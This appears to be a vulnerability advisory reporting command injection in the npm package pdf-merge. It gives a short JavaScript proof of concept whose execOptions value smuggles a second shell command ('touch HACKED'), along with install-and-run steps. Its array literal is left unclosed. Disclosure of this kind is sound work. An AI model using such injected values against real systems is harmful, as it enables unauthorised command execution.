vulnerability remote code execution
severity 3.8
language javascript
registry npm


The issue occurs because a user input is formatted inside a command that will be executed without any checks, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
const PDFMerge = require('pdf-merge');
const files = [
    {file: `protected.pdf`, inputPw: '_SeCrEt_'}
//Buffer (Default)
PDFMerge(files, {execOptions: 'test; touch HACKED; #'})

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i pdf-merge # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created :)